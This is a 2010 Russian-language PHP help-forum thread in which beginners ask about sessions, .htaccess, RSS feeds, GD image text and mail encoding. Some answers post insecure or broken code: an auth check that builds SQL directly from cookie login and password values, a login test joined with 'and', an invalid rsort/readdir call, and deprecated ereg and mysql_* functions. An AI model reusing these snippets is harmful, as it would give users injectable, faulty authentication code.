//читаем поисковой файл
list($link,$url) = split('::',$read);
if (ereg($query,$link)){
//if ($query == $link)
echo '<div class="a">Найдено</div>';
echo '<div class="lib"><b>'.$link.'</b> - <a href="'.$url.'">Скачать</a><br>';
//выводим запрос по поиску
}
}
}
echo '<a href="/">На главную</a><br>';
?>

для работы поиска,в файл sеаrсh.dаt,необходимо прописать путь, слово для поиска::адрес файла,например:
Скрипты::http://visavi.net

3132. Azzido (25.05.10 / 23:43)
3158, с небольшой оговоркой, что функция ereg уже сейчас вызовет ошибку E_DEPRECATED и E_USER_DEPRECATED а в последующих версиях php будет вообще удалена, во вторых что за поисковый файл, соответственно нужна функция его заполняющая.

3133. sanzstez (26.05.10 / 01:06)
да и вопще поиск на файлах извращение ))

3134. ArchangeL (26.05.10 / 20:34)
Azzido (Вчера / 23:43)
3158, с небольшой оговоркой, что функция ereg уже сейчас вызовет ошибку E_DEPRECATED и E_USER_DEPRECATED а в последующих версиях php будет вообще удалена, во вторых что за поисковый файл, соответственно нужна функция его заполняющая.

не знаю,что имеешь ты ввиду,но у меня все отлично работает ... Просто на будущее написал,вдруг пригодиться!

3135. Azzido (26.05.10 / 20:38)
3161, гмм, ты забыл добавить ПОКА отлично работает.

3136. ramzes (26.05.10 / 22:14)
Я вообще не догоняю че это такое.
$res = file_get_contents('http://visavi.net');
if(preg_match('|<br \/(.*?'.$searcg.'.*?)<br|is', $res, $result)){
print_r($result);
}else{ echo'no match!'; }
типа того не судьба? На ходу, но в общем суть ясна.

3137. blud (27.05.10 / 00:43)
привет всем! Помогите решить вопрос вот есть файл в нем строка |дата|логин|пароль|мыло| как мне изменить слово например логин в этой строке?

3138. QwAk (27.05.10 / 01:28)

$str = file_get_contents('file.txt'); //читаем файло
$arr = explode('|', $str); //разбиваем строку
$arr[2] = 'Новый логин'; //заменяем "логин" на новую строку
$str = join('|', $arr); //соединяем строку
file_put_contents('file.txt', $str); //записываем обратно


3139. blud (27.05.10 / 07:40)
3165. QwAk,спасибо!)

3140. AngelCorpse (27.05.10 / 15:36)
вопрос по xTemplate
есть код
$set['title'] = 'PHPMe.Ru';
мне в шаблоне надо вывести этот самый $set['title']; как {TITLE}, как это сделать?
через {TITLE]

3141. ramzes (27.05.10 / 16:03)
$xTemplate->assign('TITLE', $set['title']);
че то типа того, как то не ковырялся в нем, подход обычно стандартный

3142. AngelCorpse (27.05.10 / 17:05)
3168. ramzes, Fatal error: Call to a member function assign() on a non-object
* $xtpl

3143. Maksim (27.05.10 / 17:27)
3169. Pirate_Nervous, а ты обьект создал?

3144. blud (27.05.10 / 23:54)
доброй ночи! Вот есть такой вопрос у меня в папке есть картинки как мне их вывести на страницу в обратном порядке с последней на первую?

3145. AngelCorpse (28.05.10 / 01:50)
3171. blud,

как-то так
<?php
$dir = "/images/";

if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir(rsort($dh))) !== false) {
echo "Файл: $file : тип: " . filetype($dir . $file) . "\n";
}
closedir($dh);
}
}
?>


3146. AngelCorpse (28.05.10 / 01:53)
3170. Maksim, конечно ).gif

3147. ramzes (28.05.10 / 06:11)
69, $xTemplate замени на переменную в которой объект класса хранится, пишет что не труда обращаешься).gif

3148. blud (28.05.10 / 08:53)
3172. Pirate_Nervous, спасибо сегодня попробую).gif

3149. BLANSH (28.05.10 / 10:20)
ребята, помогите пожалуйста с двумя вопросами: Почему когда я тестирую скрипты опера иногда выдает неизвесный или неподдерживаемый тип адреса? И вот еще, я пишу движок, а когда захожу на одну страницу меня выкидывает на главную сайта - тоесть на индекс.пхп на той странице никаких не хеадеров ни перенаправлений нет, я в афиге, незнаете с чем это связано?

3150. Azzido (28.05.10 / 10:51)
3176,
1, делаешь ошибку в скрипте, опера расценивает это так.
2, ErrorDocument 404 / скорей всего// или другой тип ошибки

3151. ArchangeL (28.05.10 / 12:21)
Как передать логин и пароль зарегистрированного пользователя? Нужно авторизацию написать!

3152. AngelCorpse (28.05.10 / 12:40)
3178. InFeRoruM AngeluS, передать куда?

3153. ArchangeL (28.05.10 / 13:04)
3179. Pirate_Nervous, в смысле,закрывать нужные страницы,которы доступны только для зарегистрированных

3154. Azzido (28.05.10 / 14:02)
if($_POST['ligin']<>$login and $_POST['pass']<>$pass){exit();}

3155. ArchangeL (28.05.10 / 14:16)
3181. Azzido, спасибо,попробую

3156. BLANSH (28.05.10 / 14:36)
Люди, как сделать чтоб если чел ввел ссылку на стрницу или файл моего сайта а файла или страницы допустим не существует то чтоб не выдавало error 404 а выдавало например Файл не найден. Я слышал шо вроде шото в хтакесс, но мне нужно подробное описание

3157. Azzido (28.05.10 / 15:11)
3183, ErrorDocument 404 error404.php пропиши в .htaccess или любой другой файл,а в нем пиши что тебе нужно.

3158. BLANSH (28.05.10 / 19:29)
3184. Azzido, спосибо!!! Люди, такой вопрос: есть авторизация на файлах. Так вот у меня проблема: пользователь вводит свой ник хоть в верхнем хоть в нижнем регистре и все равно заходит! как решить эту проблему, чтоб учитовался регистр? Может какойто функцией? помогите пожалуйста

3159. Azzido (28.05.10 / 19:33)
возможно там стоит strtolower для ника, в нижний регистр переводит

3160. ArchangeL (28.05.10 / 20:05)
3181. Azzido, не,не получилось! Два способа пробовал,хочу как на моторе сделать,заходит не зарегистрированный,видно обычная страница,только авторизуется,переходит на главную и сразу,ссылки авторизация/регистрация,пропадает,помимо главное страницы открывается еще меню для зарегистрированных! Во,вот так я хотел если знаешь,напиши пожалуйста,или кто знает? Как такую зону сделать?

3161. ramzes (28.05.10 / 20:13)
Как же ты Авторизацию делал если не знаешь как ее применить?

3162. BLANSH (28.05.10 / 20:55)
strolower там нету, так как проблему решить, чтоб регистр учитовался, кто нибуть даст реальный ответ? И еще вопрос: <a href=auth.php>назад</a> перехожу по этой ссылке, а выкидывает на index.php, тоесть на главную. Я в афиге, кто нибудь может это обьеснить?

3163. Azzido (28.05.10 / 21:11)
ну если бы это был MySQL я бы предположил что там тип поля нечувствительный к регистру, а что здесь, я так не угадаю

3164. xass (28.05.10 / 21:36)
наверно страница не существует просто

3165. ArchangeL (28.05.10 / 21:58)
ramzes (Сегодня / 20:13)
Как же ты Авторизацию делал если не знаешь как ее применить?

я чисто регистрацию написал,но не авторизацию мозгов не хватает,если кто сможет помочь,я дам свои вариант регистрации,чтоб кто-нибудь авторизацию подкинул

3166. AngelCorpse (29.05.10 / 01:23)
3182. InFeRoruM AngeluS, напиши функцию only_reg();

function only_reg()
{
$user = mysql_query("select * from `users` where `login = '".$_COOKIE['login']."' and `password` = '".$_COOKIE['password']."'");
if (mysql_num_rows($user) == 0)
{
header ("Location: index.php");
exit;
}
}


3167. ArchangeL (29.05.10 / 01:50)
Да на файлах у меня рега,а не на базе

3168. AngelCorpse (29.05.10 / 01:51)
3194. InFeRoruM AngeluS, на файлах проверь ).gif
на файлах жесть obana.gif

3169. ramzes (29.05.10 / 02:00)
93, фильтрации нет и каждый раз запрос посылать это плохо, тем более если на странице таких проверок больше 1.
При реге задаешь пару переменных в сессию
$_SESSION['mylogin'] = $login;
$_SESSION['mypass'] = md5($pass);
и потом по ним проверяешь есть такой профиль или нет. Хотя ты явно рано за это взялся..

3170. ArchangeL (29.05.10 / 02:07)
3196. ramzes, =( да,ты прав,рановато,но нужно!!! Проект финансируют,надо закругляться писать =( и так больше месяца над ним мучаюсь

3171. ramzes (29.05.10 / 02:30)
Гм.. С такими знаниями и на заказ? Пардон я в шоке))

3172. ArchangeL (29.05.10 / 02:36)
3198. ramzes, знания есть,но мало,это раз,два,это МОИ проект! С моими стихами! Это не заказ

3173. AngelCorpse (29.05.10 / 02:37)
3196. ramzes, я бухой, накуренный и писал от фанаря

3174. ramzes (29.05.10 / 05:42)
Гг бывает).gif
кто ни будь пробывал использовать session_save_path('/dir); ?
Не создает файл сессии, незнаю в чем дело, папка есть, права 777, пишет ошибка 'сессион-старт: опен(дир/сесс_блабла) нет файла или дерриктории', уже мозг сломал, при session_save_path('/tmp); работает нормально, но это лишено смысла..

3175. Azzido (29.05.10 / 09:23)
A если попробовать использовать DOCUMENT_ROOT? По моему она считает "/" не от паблика,а от действительного корня

3176. blud (29.05.10 / 14:18)
помогите с постом 3172 не получается отсортировать rsort() выдает ошибку как правильно сортировать?

3177. ramzes (29.05.10 / 15:17)
3202, так и надо от корня, адрес верный указываю, папка рядом с паблик_хтмл, не может быть такое что прав не хватает? Типа владелец не тот или еще что?

3178. Untoten (29.05.10 / 15:18)
3201. ramzes, пиши путь от корня сервера, только так. Например /home/login/public_html/dir

3179. Untoten (29.05.10 / 15:21)
3201. ramzes, да с смысле хранить сессии 'у себя' нет, файлы даже через панель не читаются, и работает быстрее со стандартной директорией

3180. ramzes (29.05.10 / 16:51)
грят гменеджер их видит).gif а папка не в публик она рядом с тмп, путь так и будет ('/дир') но попробую иначе, может выйдет).gif

3181. ramzes (29.05.10 / 17:22)
Блин спасибо парни).gif действительно путь надо было полный писать от /home/user/dir
с меня по +

3182. BLANSH (29.05.10 / 22:32)
ErrorDocument 404 index.php прописую это в хтаккесс и при ошибки 404 у меня ни на страницу index.php переходит, а просто пишет "index.php" , че делать?

3183. Nikson (29.05.10 / 22:49)
3209. BLANSH, ErrorDocument 404 /index.php

3184. blud (29.05.10 / 23:11)
что не кто не поможет с постом #3172 разобраться?

3185. Azzido (29.05.10 / 23:31)
3211, что сложного в функции rsort

3186. ramzes (30.05.10 / 04:12)
Парни подскажите, что не так с rss?

http://wapinet.ru/cod/index.php?h=1&s=1&clientAction=5.click&u=wb.smartoff.net/rss/blogpost/5/&5=%D0%A1%D0%BC%D0%BE%D1%82%D1%80%D0%B5%D1%82%D1%8C выдает полный код всего списка сообщений,
http://wb.smartoff.net/rss/blogpost/5/ а при просмотре только последняя запись(.gif блин смотрю смотрю, ни как понять не могу

3187. Azzido (30.05.10 / 21:06)
3213, если используешь html тэги в rss разметке то используй <description><![CDATA['.$text.']]></description> это то же самое что с javasscrypt в xhtml

3188. BLANSH (30.05.10 / 23:37)
люди, в пхп есть функция nophp()?

3189. Azzido (30.05.10 / 23:38)
http://php.su/functions/?f=nophp&choice=info

3190. ramzes (31.05.10 / 02:33)
3214, а маленький пример можно? Я просто не знаком и нет возможности проверять результат на лету..

3191. Azzido (31.05.10 / 07:18)
<?
mysql_connect($server,$username,$password);
mysql_select_db($database_name);
$ini=mysql_query('SELECT `mail`,`news_s_rss` FROM `ini` WHERE `id`="1" LIMIT 1');
//извлечение количества выводимых rss новостей
$news_s_rss=mysql_result($ini,0,'news_s_rss');
//извлечение e-mail адреса администратора
$mail=mysql_result($ini,0,'mail');
//извлечение новостей из базы данных MySQL
$sql=mysql_query('SELECT `id`,`time`,`title`,`text` FROM `news_n` ORDER BY `id` DESC LIMIT 0,'.$news_s_rss);
$http_host=strtoupper($_SERVER['HTTP_HOST']);
echo('<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0">
<channel>
<title>Новости сайта '.$http_host.'</title>
<link>http://'.$_SERVER['HTTP_HOST'].'</link>
<description>RSS лента новостей сайта '.$http_host.'</description>
<image>
<url>http://'.$_SERVER['HTTP_HOST'].'/news/rss_logo.gif</url>
<title>'.$http_host.'</title>
<link>http://'.$_SERVER['HTTP_HOST'].'</link>
</image>
<language>ru</language>
<copyright>&#169; '.$http_host.'</copyright>
<managingEditor>'.$mail.'</managingEditor>
<webMaster>'.$mail.'</webMaster>
<lastBuildDate>'.date('r').'</lastBuildDate>');
if(mysql_num_rows($sql)<>0){
while($assoc=mysql_fetch_assoc($sql)){
echo('<item>
<title>'.$assoc['title'].'</title>
<link>http://'.$_SERVER['HTTP_HOST'].'/news/news.php?nid='.$assoc['id'].'</link>
<description><![CDATA['.$assoc['text'].']]></description>
<author>Администрация сайта '.$http_host.'</author>
<pubDate>'.date('r',$assoc['time']).'</pubDate>
<category>Новости</category>
<guid>http://'.$_SERVER['HTTP_HOST'].'/news/news.php?nid='.$assoc['id'].'</guid>
</item>');
}
}
echo('</channel>
</rss>');
?>


3192. Azzido (31.05.10 / 07:19)
вот кусок своей страницы, правда повырезал там комментарии да еще много что, в сообщение не влазило, ну думаю поймешь

3193. ramzes (31.05.10 / 13:09)
Спасибо).gif разберусь).gif

3194. BLANSH (01.06.10 / 15:00)
Парни, срочно нужна ваша помошь. Как сделать чтоб в цыкле масивы перескакивали не так: 0,1,2,3,4,5,6... А так: 0,2,4,6,8...? Мне любым способом, лижбы так цыфры увеличивались

3195. Azzido (01.06.10 / 15:18)
$i=0;
while(условие){
$i=$i+2;
echo 'текст';
}
//////////////////////////
for($i=0;$i<100;$i=$i+2){}

3196. ramzes (01.06.10 / 15:20)
for($i=0; $i<$total; $i = $i+2)
типа того как то

3197. ramzes (01.06.10 / 15:21)
Опередил).gif

3198. KOZZ (01.06.10 / 15:30)
3221,

$i=начальное число;
while($i<=макс.число){echo $i.'<br/>';$i=$i+2;}

вот так,а там уже под свои нужды затачивай

3199. KOZZ (01.06.10 / 15:36)
3221,можно так:

<?
for($i=начальное число,$max=макс.число; $i<=$max; $i = $i+2){echo $i.'<br/>';}
?>


3200. BLANSH (01.06.10 / 21:26)
Парни спасибо огромное, реально выручаете. Извените, даже плюса нимогу пока поставить-не набрал 150кц. И вопрос, чтоб тему зря не засорять: что в масивах означает ключ? По простому обьесните плиз

3201. Maksim (01.06.10 / 22:40)
Здесь по разному можно обьяснить. Масив это как хранилище переменных).gif а ключ в свою очередь получаеться как имя этой самой переменной которой соответствует определенное значение. Ключ это адрес значения которое храниться в массиве. Ну еще проще не наю как ).gif ...

3202. BLANSH (01.06.10 / 22:44)
3228. Maksim, $array[0] 0-это ключ?

3203. HitLow (01.06.10 / 22:52)
Ну да) идентификатор

3204. Koss (01.06.10 / 22:58)
<?php
// Ассоциативный массив
$names["Иванов"]="Иван";
$names["Сидоров"]="Николай";
$names["Петров"]="Петр";
// В данном примере: фамилии - ключи ассоциативного массива
// , а имена - элементы массива names
?>


3205. BLANSH (02.06.10 / 11:08)
3231. Константин, спосибо, отлично разьяснил! Вопрос: Я включил показ ошибок и увидил что при session_start(); у меня выскакивает Warning: но все работает, так и должно быть? После варнинга там еще чето пишет. Warning это ж типа предуприждение?

3206. Azzido (02.06.10 / 11:22)
3232, значит что то неправильно, предупреждение просто так не вылезет

3207. shurik (02.06.10 / 11:54)
у меня тоже на session_start() ругается

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at Z:\home\localhost\www\forum\auth.php:1) in Z:\home\localhost\www\forum\auth.php on line 12

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\localhost\www\forum\auth.php:1) in Z:\home\localhost\www\forum\auth.php on line 12

Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\forum\auth.php:1) in Z:\home\localhost\www\forum\auth.php on line 14

вчера все работало

3208. Azzido (02.06.10 / 12:02)
может автостарт сессии стоит

3209. KOZZ (02.06.10 / 12:21)
3234, ругается что что то перед стартом сессии выведено.
посмотри мож пробел перед <? стоит или еще че нить в этом роде

3210. Azzido (02.06.10 / 12:47)
возмодно utf-8 с бом, какой текстовый редактор используешь?

3211. shurik (02.06.10 / 12:58)
3237. Azzido, akelpad, notepad++, dreamweaver
Вчера кодировк на utf-8 менял через akelpad... и после этого не авторизировался, ток сегодня

3212. AxqpxA (02.06.10 / 12:59)
при сохранении в utf-8 на некоторых редакторах в самое начало вставляется маркер! это и может быть причиной ошибки!

3213. KOZZ (02.06.10 / 13:00)
3238,советую notepad2 - самый норм: лаконичный,хороший)может 2 байта блокнотовских добавились в начало,и в этом проблема

3214. AxqpxA (02.06.10 / 13:01)
Аааа... неправильно понял! глянь в htaccess не включенна ли у тебя буфетизация данных! если включенна, то попробуй отключить

3215. shurik (02.06.10 / 13:02)
а как эту перед <? убрать то?
41, у меня там только кодировка
AddDefaultCharset UTF-8


3216. AxqpxA (02.06.10 / 13:03)
eGo (Сегодня / 13:00)
3238,советую notepad2 - самый норм: лаконичный,хороший)может 2 байта блокнотовских добавились в начало,и в этом проблема

х.з по мне так дреамривер самое то...

3217. Azzido (02.06.10 / 13:04)
какой древивер нотепад, phpexperteditor качайте и проблем не будет

3218. AxqpxA (02.06.10 / 13:05)
Azzido (Сегодня / 13:04)
какой древивер нотепад, phpexperteditor качайте и проблем не будет

Каждый свое болто хвалит D.gif

3219. shurik (02.06.10 / 13:09)
блин D.gif
мне помогать тут будут? D.gif

3220. SKAZ0CHN1k (02.06.10 / 13:11)
3246. Просто перед session_start() стоит вывод каких-либо данных.
Все-таки в этом проблема. Проверяй.

3221. shurik (02.06.10 / 13:14)
ну вот файл, я ничего не нашел...

3222. AxqpxA (02.06.10 / 13:17)
Пропиши в htaccess
 php_value output_buffering 1 


3223. shurik (02.06.10 / 13:19)
3249. Nu3oN, ага. работает, спасибо.
плюсик поставил

3224. SKAZ0CHN1k (02.06.10 / 13:20)
А я нашел: п»ї<?
http://pic2net.ru/?i=a96e347126e793e5e31da1a780e0d1e5.jpg

3225. AxqpxA (02.06.10 / 13:22)
Сказочник (Сегодня / 13:20)
А я нашел: п»ї<?
http://pic2net.ru/?i=a96e347126e793e5e31da1a780e0d1e5.jpg

Это и есть тот самый маркер! только я в первый раз вижу что бы он так отображался! обычно в виде точки, или квадратика

3226. SKAZ0CHN1k (02.06.10 / 13:24)
уку.
Я привык везде его таким видеть, вот стандартный Lister: http://pic2net.ru/view/?v=b22587e5efb2cb457d6242e3caea42fe.jpg

3227. Fantik (02.06.10 / 22:36)
Помогите пожалуйста с выводом на картинку
$im=imagecreatefrompng('count.png');
$color=imagecolorallocate($im,$RED,$GREEN,$BLUE);
$color2=imagecolorallocate($im,$RED2,$GREEN2,$BLUE2);
imagestring($im, 2, 64, 0, $pr, $color);
imagestring($im, 2, 22, 0, $cy, $color2);
header("Content-type: image/png");
imagepng($im);
Как сюда можно добавить вывод текста с использованием шрифтов?

3228. BLANSH (03.06.10 / 13:34)
парни, подскажите плис, как сделать чтоб функция count считала символы в файле, а не строки? Или может другой функцией?

3229. KOZZ (03.06.10 / 14:07)
3255. BLANSH,
<?
$f = file_get_contents('file.txt');
$c = strlen($f);
for($i=0;$i<$c;$i++){echo $i;}
?>


3230. KOZZ (03.06.10 / 15:20)
писал навскидку,поэтому хз))

3231. DmitryDick (03.06.10 / 22:56)
ну и ппц)

<?php
$data = file_get_contents('file');
$lenght = mb_strlen($data, 'utf-8'); # если файл в utf-8
?>


3232. Azzido (03.06.10 / 23:19)
3255, не пойму зачем там еще и цикл?! Ты стрлен нашел.

3233. Azzido (03.06.10 / 23:22)
И если уж на то пошло то iconv_strlen(,'utf-8');

3234. AxqpxA (04.06.10 / 01:09)
3254. Fantik

<?
$TextColor = imagecolorallocate($OpenImage, 0, 0, 0); /// Задаем цвет текста
/// imagestring(изображение, отступ слева, отступ справа, Сам текст, Цвет);
imagestring($OpenImage, 2, 10, 0, 'Text', $TextColor); /// Выводим текст
?>




<?
$OpenImage = imagecreatefrompng('count.png');
$ImageColor1 = imagecolorallocate($OpenImage,$RED,$GREEN,$BLUE);
$ImageColor2 = imagecolorallocate($OpenImage,$RED2,$GREEN2,$BLUE2);
$TextColor = imagecolorallocate($OpenImage, 0, 0, 0);
imagestring($OpenImage, 2, 64, 0, $pr, $ImageColor1);
imagestring($OpenImage, 2, 22, 0, $cy, $ImageColor2);
imagestring($OpenImage, 2, 10, 0, 'Text', $TextColor);
header("Content-type: image/png");
imagepng($OpenImage);
?>


3235. KOZZ (04.06.10 / 02:54)
3259, точно blin.gif писал думая видать о чем то другом)))
ребят,а как определить кодировку файла скриптом?

3236. Azzido (04.06.10 / 06:11)
mb_detect_encoding

3237. KOZZ (04.06.10 / 06:12)
3263,она серв не грузит как iconv?

3238. Azzido (04.06.10 / 08:09)
3264, а с чего ты взял что iconv сильно грузит сервер?

3239. Fantik (04.06.10 / 09:36)
3261. Nu3oN, спасибо. А где вкоде подключаемые шрифты?

3240. AxqpxA (04.06.10 / 11:56)
Fantik (Сегодня / 09:36)
3261. Nu3oN, спасибо. А где вкоде подключаемые шрифты?


<?
imagettftext($OpenImage, 2, 2, 2, 2, $TextColor, 'Dir/Shrift.ttf', 'Text');
?>


3241. Fantik (04.06.10 / 12:05)
3267. Nu3oN, ага вечером попробую сделать ).gif

3242. Fantik (04.06.10 / 21:45)
3267. Nu3oN, почему не выводиться в таком виде:
imagettftext($im, 2, 2, 22, 0, $color2, 'img/georgia.ttf', $cy);
и если можно обьясни за что эти координаты здесь отвечают 2, 2, 22, 0, ? Пожалуйста.

3243. AxqpxA (04.06.10 / 21:55)
Fantik (Сегодня / 21:45)
3267. Nu3oN, почему не выводиться в таком виде:
imagettftext($im, 2, 2, 22, 0, $color2, 'img/georgia.ttf', $cy);
и если можно обьясни за что эти координаты здесь отвечают 2, 2, 22, 0, ? Пожалуйста.


<?
$TextColor = imagecolorallocate($OpenImage, 0, 0, 0);
imagettftext($OpenImage, 2, 2, 2, 2, $TextColor, 'Dir/Shrift.ttf', 'Text');
?>


<?
imagettftext($OpenImage, $SizeText, $AngleText, $PositionX, $PositionY, $ColorText, $FileFont, $OutText);
?>

$OpenImage - Изображение с которым работаем
$SizeText - Размер шрифта
$AngleText - Угол поворота
$PositionX - Расположение по оси X
$PositionY - Расположение по оси Y
$ColorText - Цвет шрифта из imagecolorallocate()
$FileFont - Путь к шрифту
$OutText - Сам текст

3244. Fantik (04.06.10 / 22:52)
Спасибо большое, пойду разбираться

3245. Fantik (04.06.10 / 23:24)
Мля разобрался что за что отвечает, но при использовании imagettftext картинка не отображаеться (.gif на локалке тестил. В чём проблема может быть?

3246. NightStalker (05.06.10 / 06:55)
Вoпpoc: kak выгoднeй пиcaть вывoд html в бpaузep? Чepeз echo c пpoгoнkoй чepeз cжaтиe или внe тeгoв <? ?>. Вo втopoм cлучae cжaтия нe будeт.

3247. AxqpxA (05.06.10 / 19:19)
NightStalker (Сегодня / 06:55)
Вoпpoc: kak выгoднeй пиcaть вывoд html в бpaузep? Чepeз echo c пpoгoнkoй чepeз cжaтиe или внe тeгoв <? ?>. Вo втopoм cлучae cжaтия нe будeт.

Смотря что ты делаешь!
Если много букаф придется писать, то пиши echo если там по децелу то <? ?>
Но вообще советую echo

3248. AxqpxA (05.06.10 / 19:20)
Fantik (Вчера / 23:24)
Мля разобрался что за что отвечает, но при использовании imagettftext картинка не отображаеться (.gif на локалке тестил. В чём проблема может быть?

Покажи что ты там делаешь, телпатов нет!

3249. Fantik (05.06.10 / 21:12)
3275. Nu3oN,
<?php
$pr = 5;
$cy = 80;
$OpenImage=imagecreatefrompng('count.png');
$ImageColor=imagecolorallocate($OpenImage, 102, 102, 102);
$TextColor = imagecolorallocate($OpenImage, 255, 255, 255);
imagestring($OpenImage, 2, 64, 0, $pr, $ImageColor);
imagettftext($OpenImage, 2, 0, 22, 0, $TextColor, '/img/georgia.ttf', $cy);
//imagestring($OpenImage, 2, 22, 0, $cy, $TextColor);
header("Content-type: image/png");
imagepng($OpenImage);
?>

Вот собственно код выводящий на картинку. Без imagettftext всё работает

3250. AxqpxA (05.06.10 / 21:46)
3276. Fantik, Проверил у себя, все отлично работает!
но есть одно НО
У тебя ничего не выводится потому что:
1. Очень маленький шрифт!
2. Координаты расположенны в самом углу картинки!
3. Если у тебя на картинке count.png белый фон, то заданные цвета для шрифта очень светлые, и их невидно!

Вот пример кода при расширении картики 51х16

<?
imagettftext($OpenImage, 10, 0, 22, 13, $TextColor, '/img/georgia.ttf', $cy);
?>


3251. Fantik (05.06.10 / 21:55)
3277. Nu3oN, картинка 72х15 цвета есть я же говорю работает без шрифта. У меня не не выводиться, а картинка не отображается, лан разберусь. Спасибо

3252. Fantik (05.06.10 / 23:24)
Разобрался наконец-то ошибка тут была '/img/georgia.ttf', убрал первый слэш и всё стало работать

3253. EZHIK (06.06.10 / 11:49)
Подскажите пжл, почему $name выдает FALSE?:
$name = mysql_query("UPDATE `down_files` SET `rus_name` = $new_name WHERE `id` = $id");


3254. Fuelen (06.06.10 / 11:52)
3280. EZHIK, $new_name возьми в одинарные кавычки

3255. EZHIK (06.06.10 / 12:19)
3281. Fuelen, спасибо большое

3256. EZHIK (06.06.10 / 12:53)
Вот код:
if ($preview) { 
$out = '<img src="preview.php?type=1&amp;img=' . urlencode($preview) . '" alt="preview" />';
}
$out .= '<img src="' . $filesroot . '/images/' . (file_exists($filesroot . '/images/' . $format_file . '.png') ? $format_file . '.png' : 'file.gif') . '" alt="file" /> ';
$out .= '<a href="?act=view&amp;id=' . $res_down['id'] . '">' . checkout($res_down['rus_name']) . '</a> (' . $res_down['field'] . ')';
if ($rights == 4 || $rights > 6) {
$out .= '(<a href="index.php?act=rename&amp;id=' . $res_down['id'] . '">R</a>)';}
if (is_file('about/' . $res_down['id'] . '.txt')) {
$about = file_get_contents('about/' . $res_down['id'] . '.txt');
if (mb_strlen($about) > 100)
$about = mb_substr($about, 0, 90) . '...';
$out .= '<div class="sub">' . checkout($about, 2) . '</div>';
}
$out .= '<div class="sub"><a href="index.php?act=comms&amp;id=' . $res_down['id'] . '">Комментарии</a> (' . $res_down['total'] . ')</div>';
return $out;
}

Все выводит кроме:
if ($rights == 4 || $rights > 6) { 
$out .= '(<a href="index.php?act=rename&amp;id=' . $res_down['id'] . '">R</a>)';}

Почему?

3257. Fuelen (06.06.10 / 13:45)
Потому что такое условие ).gif наверное $rights меньше 7 и не равно 4

3258. EZHIK (06.06.10 / 17:02)
Не, оно равняется 7...ладно ща еще поковыряюсь.. ).gif

3259. KOZZ (06.06.10 / 17:06)
85,да да,колупай условие

3260. BLANSH (06.06.10 / 20:50)
ребята, помогите пожалуйста: у меня при использовании функции mail() выводит fatal error, ошибку и там шото с smtp связана, и типа шото надо в пхп.ини настроить, помогите кто знает плис

3261. SKAZ0CHN1k (06.06.10 / 21:13)
#Если есть SMTP на сервере, то укажите названи сервера
SMTP = myserver.localnet.com
# ну тут ясно что почта
sendmail_from = [email protected]
# ну и самое главное: путь до sendmail. Основная программа отправки сообщений.
sendmail_path = /usr/sbin/sendmail

3262. BLANSH (06.06.10 / 21:47)
3288. Сказочник, спасибо, а как узнать есть ли смтп на сервере? И мне нужны настройки для юникс)))

3263. SKAZ0CHN1k (06.06.10 / 21:53)
ну эт проще просто...
$ telnet 127.0.0.1 25
если ответит что-нить, то есть)
проверь путь до сендмайла... обычно он /usr/sbin/sendmail

3264. BLANSH (06.06.10 / 22:04)
<?php
$ telnet 127.0.0.1 25
?> запускаю этот скрипт, выдает parse error. Как проверить путь до сендмайла?

3265. BLANSH (06.06.10 / 22:05)
<?php
$ telnet 127.0.0.1 25
?> запускаю этот скрипт, выдает parse error. Как проверить путь до сендмайла?

3266. BLANSH (06.06.10 / 23:12)
спасибо всем, настроил. Другая проблема: если пишу рускими буквами то приходят каракули, как исправить?

3267. HitLow (07.06.10 / 00:07)
Кодировку надо выставить.

3268. BLANSH (07.06.10 / 00:25)
да разные ужо пробовал, точнее вин 1251, и ютф 8. Все одно приходят ероглифы. Вот скрипт <?php
header("Content-Type: text/html; charset=utf-8");
$header="Content-type: text/html; charset=windows-1251";
mail("[email protected]","Востановление пароля","pdpdpdgmg","$header");
?> хелп ме плис

3269. HitLow (07.06.10 / 01:36)
Кодировку посылаемого сообщения) Щас поищу старый скриптик если найду напишу

3270. Dakilla (07.06.10 / 10:42)
3295. BLANSH,вот
$tkogo = "[email protected]";//откого письмо
$text = "Привет юзеррррррррр";//собственно тескст письма
$subject="Как дела";//тема письмеца
$komu = "[email protected]";//Точно не помнню но ето вроде кому отвечать
$text= iconv('utf-8', 'windows-1251', $text);;
$subject= iconv('utf-8', 'windows-1251', $subject);
$headers = "MIME-Version: 1.0\r\n"."Content-type: text/plain; charset=Windows-1251\r\nFrom: $tkogo\r\nReply-To: $komu\r\nX-Mailer: PHP/".phpversion();
@mail(email, $subject, $text, $headers);

должно работать,я на денвере только что тестировал ).gif

3271. Dakilla (07.06.10 / 10:50)
теперь со мной давайте разберемся ).gif
Пишу
header("Location: skripteg.php?usr=$_GET[usr]&pwd=$_GET[pwd]"); exit;

выдает ошибку
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\test1.ru\www\www\Fanland\on.php:1) in Z:\home\test1.ru\www\www\Fanland\povyshenie.php on line 64

И че ето за фигня (.gif ? От чего ето может произойти?

3272. KOZZ (07.06.10 / 10:58)
98,перед переадресацией что то выведено (headers already sent),может пробел какой нить перед <? или еще че нить в этом роде

3273. Dakilla (07.06.10 / 11:15)
3299, нeт вce тaм poвнo вpoдe...нa yжe пocлaнныe зaгoлoвkи kakиeтo pyгaeтcя

3274. Azzido (07.06.10 / 11:19)
3300, он верно говорит, ты используешь редактор вставляющий бом, используй другой текстовый редактор, здесь в архиве скриптов программы например посмотри

3275. Dakilla (07.06.10 / 11:19)
3299,мoжeт пoтoмyчтo тaм тekcт пepeд xeaдepoм cтoит?

3276. HitLow (07.06.10 / 11:37)
3302. Dakilla, Да, на первой строке)

3277. Dakilla (07.06.10 / 11:49)
3303,нe тaм paзныe koдиpoвkи kakyютo poль cыгрaли вce пepekoдиpoвaл + пepeмecтил тekcт пepeд header =>вce paбoтaeт =>вceм cпacибo ).gif

3278. BLANSH (07.06.10 / 13:27)
3298. Dakilla, спасибо, попробую. Люди, а в пхп.ини default_charset ставить utf-8?

3279. SKAZ0CHN1k (07.06.10 / 17:45)
ищи строчку default_charset и дописывай "UTF-8"

3280. Jeka127 (07.06.10 / 19:45)
Возможно ли использовать несколько конструкторов в классе php?
И ещё как на ваш взгляд лучше, красивее (int) $id
или intval($id);

3281. Fuelen (07.06.10 / 21:34)
3307. MaNGOS cms, 1 - нет. И вообще, как это неск. конструкторов?2 - это дело каждого ).gif я (инт) юзаю. Писать менше

